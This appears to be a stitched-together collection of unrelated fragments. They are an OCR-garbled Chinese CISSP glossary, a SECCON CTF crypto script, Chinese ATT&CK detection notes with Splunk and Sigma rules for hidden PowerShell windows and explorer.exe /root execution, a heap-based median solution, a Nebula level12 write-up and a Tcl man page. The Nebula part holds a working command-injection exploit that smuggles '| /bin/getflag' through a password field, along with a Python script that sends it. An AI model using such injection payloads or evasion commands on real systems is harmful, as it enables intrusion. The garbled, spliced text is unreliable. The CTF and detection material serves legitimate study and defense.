而不是 OSI 模型的 5 层。 这 4 层从下到上是网 络接入层、 网 际层 、 主机到主机层和应用层 。
TCP 包装
通过在用户 D 或系统 囚 的基础上对访问进行限制， 可以作为基本防火墙使用 的一种应用程序。
teardrop atlack : 泪滴攻击
一种 DoS 攻击。 在攻击者对操作系统中 的一个缺陷加以利用时， 就会出现泪滴攻击。 这种缺陷
存在于对碎片数据包进行重新组织(即重新排序)的常规程序中 。 攻击者 向受害者发送很多特别格式
的碎片数据包， 这会引 起系统冻结或崩溃 。
technical access control : 技术性访问控制
作为硬件或软件机制， 可以用 于管理对资源和系统的访问 ， 并且提供对这些资源和系统的保护 。
例如， 逻辑性或技术性访问控制包括加密、 智能卡、 密码、 生物测定学、 受限接口、 访问控制列表、
协议、 防火墙 、 路由器、 入侵检测系统和 阔值级别。 与逻辑性访 问控制相 同 。
technical physical security controls : 技术上的物理安全控制
依靠技术实施一些物理安全类型的安全控制， 包括入侵检测系统、 警报、 CCTV、 监视、 HVAC、
电源 、 火灾检查和排除。
telephony : 语音通信
用于向组织提供电话服务的方法或者组织使用 电话服务用于语音和/或数据通信的机制的总称。
传统上， 语音通信结合调制解调器 ， 包括 POTS 与 PSTN 的服务。 但是， 这也被扩展到了 PBX、 VoIP
和 VPN。
TEMPEST
各种不同类型的 电子硬件， 如计算机、 电视和电话等产生的 电子信号的研究和控制 。 它的主要
目 标是阻止电磁干扰和无线电频率的辐射离开被严格规定的 区域， 从而消除外部辐射监控、 窃听和
信号嗅探的可能性。
Terminal Access Controller A∞ess Control System: 终端访问控制器访问控制系统(TACACS)
RADIUS 的替换协议。 TACACS 有三种可用 的版本: TACACS 最初版、 XTACACS (扩展 的
TACACS)和 TACACS+o TACACS 集成了身份认证和授权过程。 XTACACS 保持了身份认证、 授权
术语表
和 记账过程的分离 。 TACACS+通过增加双因素身份认证增强 了 XTACACS 。
terrorist a忧acks : 恐怖攻击
这种攻击有别于军事和情报攻击， 恐怖攻击的 目 标在于中断正常的生活， 而军事和情报攻击被
用 来获取机密信息 。
test data method : 测试数据方法
这种程序测试形式通过检查系统测试的范围， 从而定位未测试的程序逻辑。
testimonial evidence : 言词证据
由证人证词组成的证据 ， 证词既可 以是法庭上的口头证词 ， 也可以是记录存储的书面证词。
thin client : 瘦客户端
这个术语被用于描述不具有或几乎不具有本地处理或存储能力的工作站。 瘦客户端被用于连接
和操作远程系统 。
third-party governance : 第三方治理
可能由法律 、 法规、 行业标准、 合 同义务或许可要求规定 的监督制度。
threat : 威胁
对企业或具体的资产可能会造成不 良或有害结果的事件。
threat agents : 威胁主体
企 图利用安全脆弱性 的人 、 程序、 硬件或系统。
threat events : 威胁事件
对脆弱性的意外利 用 。
threat model ing : 威胁建模
潜在威胁被识别、 理解和分类的安全流程。 试图确定对有价值资产的潜在威胁列表， 并且对威
胁的分析。
thrill attacks : 兴奋攻击
是 由具有很少技能的破坏者发起的攻击。 兴奋攻击的动机是闯入系统的极度兴奋。
throughput rate : 吞吐速率
生物测定学设备对主体进行扫描和身份认证的速度。 一般具体的生物测定学控制可接受的速度
大约是 6 秒或更快。
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CISSP 官方学 习指南(第 7 版)
ticket : 票据
由 Kerberos 身 份认证系统使用 的一种电子身份认证因素。
Ticket-Granting Service : 票据授予服务(TGS)
Kerberos 身份认证系统的一部分。 TGS 管理票据的分配和过期时间 。 票据被主体用于获得对客
体 的访问。
Time Of Check : 检查时间(TOC)
主体检查客体状态的时间 。
Time Of Check To Time Of Use : 检查时间到使用 时间(TOCTTOU 或 TOC厅OU)
一个时间型的脆弱性， 当程序检查访问 许可权限的时间超过资源请求时间过长的时候， 就会发
生这种 问题。
Time Of Use : 使用 时间(TOU)
为访 问客休， 主体做出决定 的时 间 。
time slice : 时间片
处理时间 的一部分或划分。
token device : 令牌设备
主体必须携带的一种密码生成设备 。 令牌设备是类型 2 身份认证因素 " 你拥有什么 " 的一种
形式。
token ring : 令牌环
一种传递令牌的 LAN 技术。
top secret: 绝密
最高级别的政府/军方分类。 未经授权而泄露绝密数据将会有灾难性的后果， 并会导致对国家安
全的毁灭性破坏 。
topology : *石宁|、
网络设备和连接电缆连接的物理布局 。 常见 的 网络拓扑包括环形 、 总线、 星型和网状。
total risk : 风险总计
是指在没有保护措施可以实施 的情况下， 组织将要面对的风险的总数。 威胁*弱点*资产价值=
风险总计。
术语表
trade secret: 商业秘密
对于业务绝对关键的知识产权， 如果泄露给竞争对手和/或公开， 那么就会导致相当大的损害。
trademark : 商标
经过注册的单词 、 口 号和标志语， 被用于识别一家公司及其产品 或服务。
traffic analysis: 流量分析
一种监控形式， 对数据包的流而不是数据包的实际内 容进行检查， 也被称为趋势分析。
training : 培训
教导员工完成工作任务和遵守安全策略的任务。 所有的新员工都需要进行一定级别的培训11 ， 这
样他们就能够合理遵守安全策略中规定的所有标准 、 指导原则和措施。
transferring risk : 转移风险
把己实现 的风险带来的损失转给另一个实体或组织 ， 如购买保险， 也被称为转让风险。
transparency : 透明度
服务、 安全控制或访问机制的特性， 确保用 户看不到。 透明度通常是安全控制的理想状态。 安
全机制越透明 ， 用户越不可能避开它 ， 甚至是意识到它的存在。
transient: 瞬时现象
短时间线路噪声干扰 。
transitive trust: 传递信任
如果 A 信任 B， 并且 B 信任 C， 那么 A 通过传递属性继承 C 的信任， 这样的工作方式类似于
数学方程式: 如果 A=B， B=C， 则A=C。 传递信任是一个严重的安全 问题， 因为它可以允许绕
过A和 C 之间的限制 或制约， 特别是在A和C都支持与 B 的交互的情况下。
Transmission Control Protocol : 传输控制协议(TCP)
OSI 模型第 4 层上的一种面向连接的协议。
transmission error correction : 传输错误纠正
内置在面向连接或面向会话的协议和服务中 的一种能力。 如果报文的全部或部分被破坏、 修改
和丢失， 那么可 能会生成要求源端对报文的部分或全部内 部进行重传的要求。
transmission logging : 传输 日志记录
集中于通信方面的一种审计形式。 传输日 志记录对有关源、 目 标、 时间标记、 身份标识代码、
传输状态、 数据包数量和报文大小等的 详细信息进行记录。
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CISSP 官方学 习指南(第 7 版)
transmission window: 传输窗 口
发送确认数据包之前传输的 数据包数。
Transport Layer: 传输层
OSI 模型的第 4 层。
Transport Layer Security : 传输层安全(TLS)
基于 SSL 技术， TLS 包含了许多安全增强功能并最终被大多数应用所采用并替代 SSL。 早期版
本的 TLS 在通信双方都不支持 TLS 的时候可以降级支持 SSL 3.0。 然而， 在 201 1 年 TLS l .2 去掉了
这个向后兼容性。 与 SSL 一样 ， TLS 使用 TCP 端 口 443 。
transport mode : 传输模式
在 VPN 中使用的一种 IPSec 模式。 在传输模式中 ， 对 E 数据包中 的数据进行了加密 ， 但是数
据包头没有加密。
transposition ci pher: 换位密码
使用一个加密算法重新排列 明文消息中 的宇母， 形成密文消息 。
trap door: 陷门
没有被记录到文档 中 的命令序列 ， 它允许软件开发者绕过正常的访问限制。
traverse mode noise : 横向模式噪声
由 电源或运转的 电子设备的 火线和中线之间的 电势差产生 的 EMI 噪音。
Triple DES : 三重 DES(3DES)
使用 3 个重复 DES 的标准 ， 利用 2 个或 3 个不同 的密钥将密钥的有效强度增加至 1 12 位 。
trojan horse : 特洛伊木马
一种恶意代码对象 ， 看起来是个善意的程序(如游戏或简单的实用程序)。 它公开执行 " 覆盖 "
功能， 而且还带有未知 的有效载荷 ， 如病毒 。
trust : 信任
一种在两个域之间建立的安全桥梁， 目 的是使一个域共享另一个域的资源。 在两个域之间建立
信任， 以 便准许用户 从一个域中访 问另一个域中 的资源 。 信任可 以单向的， 也可以是双向的。
Trusted Computing Base : 可信计算基(TCB)
硬件、 软件和控制 的组合， 形成信任基础 ， 以加强安全策略 。
术语表
trusted path : 可信路径
由 TCB 用 来与系统的其他部分通信的安全通道。
Trusted Platform Module : 可信平台模块(TPM)
在主板上加密处理器芯片， 用于存储和处理加密密钥， 以满足基于硬件支持/实现的硬盘加密系
统需求。
trusted recove叩 process : 可信任恢复过程
在受保护的系统上， 确保系统在出 现错误、 故障或重新启动后始终返回 到安全状态的过程。
trusted system : 可信任系统
一种安全的计算机系统 。
tunnel mode : 隧道模式
VPN 中使用 的-种 IPSec 模式。 在隧道模式中 ， 整个 E 数据包被加密 ， 并且为了 控制隧道内 的
传输向 IP 数据包添加 了 新的数据包头 。
tunnel ing : 隧道
通过将协议数据包的 内 容封装到其他协议的数据包来实现保护的 一种网络通信规程。
tuple : 元组
数据库中 的一条记录或行。
turnstile : 转门
一种 门 ， 它每次只 可 以进一个人， 并且常常限制在单方向转动。
two-factor authentication : 双因素身份认证
需要两个因 素的 身份认证 。
Type 1 authentication factor: 类型 1 身份认证因素
指 "你知道什么 "， 如密码、 个人身份证号(P时)、 组合锁、 密码短语、 母亲的娘家姓和喜欢的
颜色等。
Type 2 authentication factor: 类型 2 身份认证因素
指 " 你拥有什么 "， 如智能卡、 ATM 卡 、 令牌设备和 内 存卡等。
Type 3 authentication factor : 类型 3 身份认证因素
指 " 你是什么 "， 如指纹、 语音记录、 视网膜样本、 虹膜样本、 脸部形状、 掌纹和手型等。
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CISSP 官方学 习指南(第 7 版)
U
unauthenticated scan : 未经验证的扫描
一种漏洞扫描形式， 可测试 目 标系统， 而不必具有授予扫描程序特殊权限的密码或其他特殊信
息 。 这允许扫描从攻击者的角度运行 ， 但也限制 了 扫描程序完全评估可能漏洞的能力 。
unclassified : 未分类
最低级别的政府/军方分类。 用于 既不敏感也不用保密 的数据。 未分类数据的泄露既不会危及机
密性， 也不会造成任何明显的损坏。
underflow : 下溢出
当驱动器的写缓冲区在写入过程中空闲时会发生此错误， 这会导致介质上 的错误， 从而使其
无用 。
unicast : 单播
向 单一标识的接收者进行的通信传输。
Unified Threat Management: 统一威胁管理(UTM)
一种安全装置， 包括传统的功能， 如数据包过滤和状态检测。 它能够执行数据包检测技术， 使
其能够识别和阻止恶意流量。 它可以过滤使用定义文件和减白名单和黑名单的恶意软件。 它还包括
入侵检测和/或入侵防御能力 ， 也称为下一代防火墙 。
Uniform Computer Information Transactions Act: 统一计算机信息处理法案(UCITA)
被所有 50 个州采纳 的美国联邦法律， 它提供了计算机相关业务处理行为的共同架构 。
Uninterruptible Power Supply : 不间断电源(UPS)
一种 自 充电的 电池类型， 可 以为敏感的设备提供连续和平稳的 电力。 四S 基本的工作方式是:
从壁装电源插座上取得电力并存储在电池中 ， 将电力从电池中输出 ， 然后把这些电力供给与它相连
的任何设备。 通过使用 电池中的电流 ， UPS 能够维持连续和平稳的 电力供应 。
unit testing : 单元测试
一种测试软件的方法。 每个单元的代码被独立测试， 以便发现错误和疏漏， 保证功能完善。 单
元测试应该 由开发人员实施。
Unshielded Twisted-Pair : 非屏蔽双绞线(UTP)
一种双绞线类型 ， 不包括额外的 EMI 保护 。 大多数双绞线都是 盯P。
USA Patriot Act of 2001 : 2001 年的美国爱国者法案
9' I I 恐怖袭击后在美国 实施 的一项法案。 美国爱国者法案大大扩大了执法机构和情报机构跨
多 个领域的力量， 包括对电子通信 的监视。
术语表
user: 用 户
任何具有安全系统访问权限的人。 用户的访 问权限与他们的工作任务联系在一起 ， 并且受到限
制 ， 所以他们只 具有工作职务所要求的能保证完成任务所需的有限权限(也就是最小特权原则)， 也
被称为终端用 户和员工。
User Datagram Protocol : 用 户数据报协议(UDP)
OSI 模型第 4 层上一种无连接的协 议 。
user mode : 用 户模式
在执行用户应用时由 CPU 使用 的基本模式。
V
VENONA
美国谍报工作的一个主要成功之处是: 由于密码分析人员破解了依赖使用一次性填充的绝密的
Soviet 密码系统 ， 例 如 VENONA。
Vernam 密码
这种设备实现 以 26 为模的 26 字母替代密码。 它 的功能与一次性填充相 同 。
vlew: 视图
用 于与 数据库交互的客户 界面。 视图限制 了 能够看到数据库的客户及其能够执行的功能。
Vigenere 密码
一种多字母 替代密码 。
violation analysis : 违规分析
使用 阑值级别的审计形式。
virtual machine : 虚拟机
虚拟机是计算机的软件模拟环境， 进程可以在这个环境 内执行。 每个虚拟机都具有自 己的内存
地址空间， 并且虚拟机之间 的通信受到安全控制 。
virtual memo叩 : 虚拟存储器
一种特殊类型的 辅助存储器 ， 它 由操作系统负责管理 ， 就像是实际存储器一样。
Vi时ual Private Network : 虚拟专用 网(VPN)
在 己有的专有或公共网络上， 两个系统间建立的网络连接。 VPN 通过加密为网络通信提供机密
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性和完整性服务。
VPN protocol : 虚拟专用 网协议
用 于创 建 VPN 的协议 ， 如 PPTP、 L2TP 和 IPSec。
virtual ization : 虚拟化
虚拟化技术是用来在单一的主机内存中运行一个或多个操作系统。 这种机制允许在任意硬件上
虚拟运行任何操作系统 ， 也允许多个操作系统同时工作在相 同 的硬件上。
virus : 病毒
病毒是折磨电脑空间 的恶意代码客体的最古老形式。 一旦它们进入了系统， 就会将 自 己附加到
合法的操作系统、 用户文件以及应用程序上， 并且正常地执行一些类型的不良操作， 从在显示屏上
显示一些无伤大雅 的讨厌信息直至恶意破坏整个本地文件系统。
virus decryption routine : 病毒解密程序
力日密病毒使用一个很短的、 被称为病毒解密手里宇的代码段， 这个代码段包含必要的密码学信息，
用 于对存储在磁盘上其他地方的主病毒代码进行加载和解密 。
vishing : 语音钓鱼
使用 IP Ì:吾音(VoIP)欺骗用户 的网络钓鱼形式。 它会经常通过欺骗呼叫者 D 来欺骗系统主叫的
实际电话号码。
VLAN
在交换机和网桥上实现逻辑网络分段， 用 于管理流量。 多个 VL剧 可 以放在同一交换机上 ， 但
是它们被隔离， 就像它们在单独的物理网络上一样。 只有通过由提供路由功能的多层交换机， 才能
进行跨 VLAN 通信。 VLAN 的作用类似于物理网段。
VLAN 跳跃
通过槛用 IEEE 802. 1 Q VLAN 标签(被称为双重封装)使网络流量在 VLAN 之 间跳跃的能力。
VolP
通过在 IP 网络上像网络数据包一样传递语音， 从而提供语音通信服务的网络服务。
voice pattern : 语音模式
生物测定学因素的一个例子， 它是主体独有的行为或生理上的特征。 语音、 语调、 声调和个人
声音的音调都被用来建立身份标识或提供身份认证。
volati le storage : 易失性存储设备
一种在资源断 电时会丢失其上存储 内 容的存储介质 ， 如RAM 。
术语表
volunta叩 surrender : 自 愿交出证据
愿意交出证据 的举动 。
vul nerability : 脆弱性
防护措施或应对措施的缺乏或薄弱被称为脆弱性。 换句话说， 脆弱性就 IT 基础设施或组织其他
方面的缺陷 、 漏洞、 疏忽 、 错误、 局 限性、 过失或容易 受到攻击。
vul nerabil ity analysis : 脆弱性分析
用于识别漏洞或弱点的过程， 可 以包括技术手段， 例如漏洞扫描， 以及非技术手段， 例如评估
或检查现有威胁和漏洞的数据。
vul nerabil ity management: 漏洞管理
一个程序， 能够帮助组织检测漏洞。 漏洞管理程序的两个常见要素是漏洞扫描和脆弱性评估。
漏洞扫描是定期执行的技术扫描 ， 以及漏洞评估通常与风险评估相结合。
vulnerabil ity scan : 漏洞扫描
在系统上执行测试， 以发现安全基础设施中的弱点。 漏洞扫描会自动地探测系统、 应用手到芋和
网络， 寻找可能被攻击者利用 的漏洞。 这些测试中使用 的扫描工具提供了 快速的指向和点击测试，
执行其他烦琐的任务 ， 而不需要手动干预。
vulnerabi lity scanner: 脆弱性扫描仪
一种用于测试系统中 己知的安全脆弱性和缺陷的工具。 脆弱性扫描仪可以生成报告， 报告中指
出 系统中 需要加以管理以 提高安全性的 区域或方面。
W
wait state : 等待状态
进程准备执行但是必须等待某种操作(如键盘输入、 打 印或文件写入)结束的状态。
war dialing : 战争拨号
这种行为使用调制解调器搜索允许入站连接尝试的系统。
war driving : 战争驾驶
使用无线 电信号检测器或无线网络检测器来定位无线网络的行为。
warm site : 基本完备场所
介于完备场所和基础场所之间 的灾难恢复专家可以选择的中间场所。 这种场所总是包含快速建
立运营体系所需的设备和数据线路 ， 但是通常不包含用户数据 的备份。
783
784
CISSP 官方学 习指南(第 7 版)
warning banners : 警告标题
用 于通知可能存在入侵者或者企图违反安全策略的人， 这些人的故意行为要受到限制 ， 并且任
何进一步的活动也都要受到审 计和监控 。 警告标题基本上是禁止非法入侵标志的 电子同义词。
watermarking : 水印
数字水印的过程将只有文件创建者知道的信息隐、藏到文件中 。 如果有人之后创建了 内容的未授
权副本 ， 可 以使用水印来检测副本， 并且(如果向每个原始接收者提供唯一加水印 的文件)这将追溯
违规副本的源头。
web application firewall : web 应用 防火墙
专门配置的应用层防火墙 ， 用 于防止基于 Web 的攻击和利用 。
web bot: web 机器人
一种代理， 持续抓取各种用户检索网站和处理数据的行为。
Webcasting : 网播
其递送方式有时与广播之类的传统通信业务非常相似。 也可以包括视频广播、 音频广播、 播客、
网络广播、 互联网 电视和 IP 电视。
well-known po时s : 知名端口
TCP 和 山P 的前 1 024 个端 口 ， 它们常被分配给经常使用 的服务和应用 。
wet pipe system : 湿管道系统
总是充满了水的防火系统。 当灭火装置被烟或火触发的时候， 立刻放水， 也被称为封闭头系统。
whaling : 捕鲸
捕鲸是钓鱼的一种形式， 它 的 目 标是高层或高管人员 ， 比如公司 的 CEO 和总裁。
white box testing : 自盒测试
一种程序测试形式 ， 用 于检测程序的内 部逻辑结构。
white box : 自 盒
用 于控制 电话系统。 自盒是一种双音多频(DTf\σ)生成器(就是键盘)。
Wide Area Network : 广域网(WAN)
地理分隔 的一种网络或一种 LAN。 通常租用线路被用于在两个远程的组件之间 建立连接。
Wi-Fi Protected Access : Wi-Fi 安全访问(WPA)
WEP 的早期替代方案， 基于秘密的密码短语， 使用 LEAP 和 TKIP 密码系统。 通过密码短语猜
术语表
想能够对其进行攻击。
WiMax 802.16
定 义全球性无线接入技术的一种无线标准 。 这个标准 目 前仍然被广泛部署。
Wired Equivalent Privacy : 有线等价隐私(WEP)
利用 RC4 的一种加密身份认证。 WEP 只 支持从客户端到 WAP 的单向身份认证。 因为其设计和
实现存在若干缺陷 ， 所 以 WEP 被视为不够安全。
wired extension mode : 有线扩展模式
无线接入点连接无线客户端到一个有线网 络的一种无线网络配置。
Wireless Application Protocol : 无线应用协议(WAP)
一个有效的行业驱动的协议堆钱， 借助于具备 WAP 能力的设备(如移动电话)， 通过运营商的网
络与互联网进行通信 。
wireless networking(802.1 1 ) : 无线网络连接(802.1 1 )
根据 802.11 标准将无线 电波用作连接介质 的 网络连接形式 ， 常常被称为 WiFi o
wiring closet : 自己主主间
是整个建筑或一个楼层中连接到其他重要设备的网络电缆所在的地方， 如配线架、 交换机、 路
由器、 局域网扩展、 骨干渠道。 配线间 的一个更专业的 技术名称是房屋线缆分布室。
work function 或 work factor: 工作函 数或工作因数
通过从成本和/或时间方面来度量付出 的努力， 来度量密码学系统的强度。 通常， 针对加密系统
执行完全穷举攻击所需的时间和努力就是工作函数所表示的 内 容。 密码系统提供的安全性和保护与
工作函数/因数的值成正比。
Worm : 蠕虫
蠕虫是恶意代码的一种形式， 它会 自 己进行复制， 但是并没有对主机系统进行直接的威胁。 蠕
虫主要的 目 的是将 自 己复制到其他的系统， 并且收集信息。 蠕虫通常会大量繁殖， 并且由于 自 身复
制的企图耗尽了 系统的资源和网络带宽， 常常会导致拒绝服务。
X
X.25
一种广域网协议， 使用 电信交换机在共享的 网络介质上提供端到端的连接。
785
786
CISSP 官方学习指南(第 7 版)
XOR
当 只有一个输入值为真时， 函数值为真。 如果两个输入值都为假或都为真， XOR 函数的结果
为假。
Z
zero day exploit: 零 日 利用
利用他人未知的系统漏洞对系统发起攻击。 通常， 它表示供应商不知道一个或多个攻击者己知
的漏洞。 在某些情况下， 供应商可能 了 解该漏洞 ， 但尚未编写或发布该漏洞的补丁 。
zero knowledge proof : 零知识证明
交换特定类型信息但是不交换实际数据的一个通信概念。 这个思想的重要示例为数字签名和数
字证书 。
zero-knowledge teams : 零知识水平团队
在 安全评估或渗透测试期间， 这支团队只 了 解组织的基本信息。
zzuf
一种软件工具 ， 通过根据用 户 规范操纵输入来将变异模糊测试的 过程 自 动化 。
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import os
from Crypto.Cipher import AES
def crc32(crc, data):
crc = 0xFFFFFFFF ^ crc
for c in data:
crc = crc ^ ord(c)
for i in range(8):
crc = (crc >> 1) ^ (0xEDB88320 * (crc & 1))
return 0xFFFFFFFF ^ crc
key = b""
crc = 0
for i in range(int("1" * 10000)):
crc = crc32(crc, "TSG")
assert(crc == 0xb09bc54f)
key += crc.to_bytes(4, byteorder='big')
crc = 0
for i in range(int("1" * 10000)):
crc = crc32(crc, "is")
key += crc.to_bytes(4, byteorder='big')
crc = 0
for i in range(int("1" * 10000)):
crc = crc32(crc, "here")
key += crc.to_bytes(4, byteorder='big')
crc = 0
for i in range(int("1" * 10000)):
crc = crc32(crc, "at")
key += crc.to_bytes(4, byteorder='big')
crc = 0
for i in range(int("1" * 10000)):
crc = crc32(crc, "SECCON")
key += crc.to_bytes(4, byteorder='big')
crc = 0
for i in range(int("1" * 10000)):
crc = crc32(crc, "CTF!")
key += crc.to_bytes(4, byteorder='big')
flag = os.environ['FLAG']
assert(len(flag) == 32)
aes = AES.new(key, AES.MODE_ECB)
encoded = aes.encrypt(flag)
assert(encoded.hex() == '79833173d435b6c5d8aa08f790d6b0dc8c4ef525823d4ebdb0b4a8f2090ac81e')
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# T1564-003-windwos-隐藏窗口
## 来自ATT&CK的描述
攻击者可以使用隐藏的窗口将恶意活动隐藏在用户的视线范围之外。在某些情况下，可以隐藏通常在应用程序执行操作时显示的窗口。系统管理员可以利用它来避免在执行管理任务时破坏当前用户的工作环境。
在Windows上，Windows中的脚本语言具有多种功能，例如PowerShell，Jscript和Visual Basic，可以隐藏窗口。一个典型示例就是powershell.exe -WindowStyle Hidden。
同样，在macOS上，属性列表（plist）文件中列出了应用程序运行方式的配置。这些文件中的标记之一可以是apple.awt.UIElement，它允许Java应用程序阻止应用程序的图标出现在Dock中。常见的用法是当应用程序在系统托盘中运行但又不想显示在Dock中时。
攻击者可能滥用这些功能，以向用户隐藏其他可见的窗口，从而不会提醒用户系统上的攻击者活动。
## 测试案例
暂无，可参考相关文章，传送门：<https://zhuanlan.zhihu.com/p/25226349>
## 检测日志
windows sysmon
## 测试复现
可参考测试案例中相关文章
## 测试留痕
windows sysmon
## 检测规则/思路
监视进程和命令行参数是否有指示隐藏窗口的操作。在Windows中，启用并配置事件日志记录和PowerShell日志记录以检查隐藏的窗口样式。在MacOS中，plist文件是具有特定格式的ASCII文本文件，因此它们相对容易解析。文件监视可以检查plist文件中的apple.awt.UIElement或任何其他可疑的plist标记并对其进行标记。
### splunk规则
```yml
index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\powershell.exe” CommandLine=”*-WindowStyle Hidden*”)
```
### 建议
如上检测规则，存在一定的局限性，可根据自己的实际情况，不断的更新要监视的命令行参数。当然powershell日志也可以做到对命令行参数的记录，也可通过powershell日志进行检测。
## 参考推荐
MITRE-ATT&CK-T1564-003
<https://attack.mitre.org/techniques/T1564/003/>
PowerShell 安全专题之攻击检测篇
<https://zhuanlan.zhihu.com/p/25226349>
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# T1202-win-间接命令执行-基于Explorer.exe执行payload(白名单)
## 来自ATT&CK的描述
可以使用各种Windows实用程序来执行命令，而不需要调用cmd。例如，Forfiles、程序兼容性助手（pcalua.exe）、WSL（WindowsSubsystem for Linux）组件以及其他实用程序可以从命令行界面、运行窗口或通过脚本来调用程序和命令的执行。
攻击者可能会滥用这些功能来规避防御，尤其是在破坏检测和/或缓解控制（如组策略）的同时执行任意动作。（这些控制限制/阻止了cmd或恶意负载相关文件扩展名的使用。）
## 测试案例
Explorer.exe用于在Windows中管理文件和系统组件的二进制文件。
路径
```
C:\Windows\explorer.exe
C:\Windows\SysWOW64\explorer.exe
```
使用从explorer.exe的新实例生成的父进程执行calc.exe
```bash
explorer.exe /root,"C:\Windows\System32\calc.exe"
```
用例：在explorer父进程破坏进程树的情况下执行指定文件，可用于防御规避。
所需权限： 用户
操作系统：Windows XP、Windows 7、Windows 8、Windows 8.1、Windows 10
使用从explorer.exe的新实例生成的父进程执行notepad.exe
```bash
explorer.exe C:\Windows\System32\notepad.exe
```
用例：在explorer父进程破坏进程树的情况下执行指定文件，可用于防御规避。
所需权限：用户
操作系统：Windows 10（已测试）
## 检测日志
windows 安全日志（需要自行配置）
## 测试复现
```bash
C:\Users\liyang\Desktop\asptest>explorer.exe /root,"C:\Windows\System32\calc.exe"
C:\Users\liyang\Desktop\asptest>explorer.exe C:\Windows\System32\notepad.exe
```
## 测试留痕
```log
```
## 检测规则/思路
这里参看Sigma官方规则：
```yml
title: Explorer Root Flag Process Tree Break
id: 949f1ffb-6e85-4f00-ae1e-c3c5b190d605
description: Detects a command line process that uses explorer.exe /root, which is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer
status: experimental
references:
- https://twitter.com/CyberRaiju/status/1273597319322058752
- https://twitter.com/bohops/status/1276357235954909188?s=12
author: Florian Roth
date: 2019/06/29
modified: 2020/08/30
tags:
- attack.defense_evasion
- attack.t1036
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|all:
- 'explorer.exe'
- ' /root,'
condition: selection
falsepositives:
- Unknown how many legitimate software products use that method
level: medium
```
## 相关TIP
[[T1202-win-间接命令执行-基于Forfiles执行payload(白名单)]]
[[T1202-win-间接命令执行-基于Pcalua执行payload(白名单)]]
## 参考推荐
MITRE-ATT&CK-T1202
<https://attack.mitre.org/techniques/T1202/>
Explorer.exe
<https://lolbas-project.github.io/lolbas/Binaries/Explorer/>
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# 41.1 数据流中的中位数
## 题目链接
[牛客网](https://www.nowcoder.com/practice/9be0172896bd43948f8a32fb954e1be1?tpId=13&tqId=11216&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
如何得到一个数据流中的中位数？如果从数据流中读出奇数个数值，那么中位数就是所有数值排序之后位于中间的数值。如果从数据流中读出偶数个数值，那么中位数就是所有数值排序之后中间两个数的平均值。
## 解题思路
```java
/* 大顶堆，存储左半边元素 */
private PriorityQueue<Integer> left = new PriorityQueue<>((o1, o2) -> o2 - o1);
/* 小顶堆，存储右半边元素，并且右半边元素都大于左半边 */
private PriorityQueue<Integer> right = new PriorityQueue<>();
/* 当前数据流读入的元素个数 */
private int N = 0;
public void Insert(Integer val) {
/* 插入要保证两个堆存于平衡状态 */
if (N % 2 == 0) {
/* N 为偶数的情况下插入到右半边。
* 因为右半边元素都要大于左半边，但是新插入的元素不一定比左半边元素来的大，
* 因此需要先将元素插入左半边，然后利用左半边为大顶堆的特点，取出堆顶元素即为最大元素，此时插入右半边 */
left.add(val);
right.add(left.poll());
} else {
right.add(val);
left.add(right.poll());
}
N++;
}
public Double GetMedian() {
if (N % 2 == 0)
return (left.peek() + right.peek()) / 2.0;
else
return (double) right.peek();
}
```
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# Level12
#### About
There is a backdoor process listening on port 50001.
To do this level, log in as the level12 account with the password level12. Files for this level can be found in /home/flag12.
#### Source Code
```
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end
end
client:close()
end
```
#### Solutions
```
nc -v 127.0.0.1 50001
test | /bin/getflag | tee /tmp/level12.txt
cat /tmp/level12.txt
```
#### Exploits
```
#!/usr/bin/env python
import socket
def exploit(host, port):
tmpfile = "/tmp/7845.yxha"
payload = "xxx | /bin/getflag > %s \n" % tmpfile
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
addr = (host, port)
c.connect(addr)
data = c.recv(1024)
if 'Password' in data:
print "[+] exploit %s\n%s" % (addr, payload)
c.sendall(payload)
# data = c.recv(1024)
# print data
c.close()
def main():
exploit('127.0.0.1', 50001)
if __name__ == "__main__":
main()
```
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.TH ProgressBar 3tk "tcllib - BWidget"
.SH NAME
.B ProgressBar - 进度指示器组件
.SH 创建 CREATION
.B ProgressBar pathName ?option value...?
.SH 描述 DESCRIPTION
ProgressBar 组件向用户指示一个冗长的操作的进度。它通常用于 MainFrame 和 ProgressDlg。
.SH 组件特有选项 WIDGET-SPECIFIC OPTIONS
.TP
-height
为进度指示器指定想要的高度。
.TP
-maximum
指定变量的最大值。
.TP
-type
指定 ProgressBar 的类型。必须是 normal、incremental 或 infinite 之一。
如果 type 是 normal，则在每次设置变量的时候，按变量值和 maximum 选项来成比例的绘制进度指示器。
如果 type 是 incremental，则在内部维护进度指示器的值，并在每次设置变量值的时候增加内部值。按内部值和 maximum 选项来成比例的绘制进度指示器。
如果 type 是 infinite， 则在内部维护进度指示器的值，并在每次设置变量值的时候增加内部值。 如果内部值(以 maximum 为模)小于 maximum/2 则进度指示器从左至右增长，并且如果内部值大于 maximum/2 则从右至左增长。 它的值的特殊情况请参见 -variable 选项。
.TP
-variable
指定联系(attach)到进度指示器上的变量。在这个变量的值变化的时候更新进度指示器。如果这个变量的值是负数，则不显示进度指示器(用 background 色绘平(draw flat)它 - 用于 ProgressDlg 使它不可见)。如果它的值是 0，则重新初始化进度指示器。
.TP
-width
为进度指示器指定想要的宽度。
.SH 组件命令
.TP
pathName cget option
返回用 option 给出的配置选项的当前值。Option 可以是能被建立命令接受的任何值。
.TP
pathName configure ?option? ?value option value ...?
查询或修改这个组件的配置选项。如果未指定 option ，则返回描述 pathName 的所有可获得的选项的一个列表。如果指定了不带 value 的 option，则这个命令返回描述这个指名的 option 的一个列表(这个列表与未指定 option 所返回的值的相应的子集是一样的)。如果指定了一个或多个选项-值 对，则这个命令把给定的组件选项修改为给定的值；在这种情况下这个命令返回一个空串。Option 可以是能被建立命令接受的任何值。只读选项不可修改。
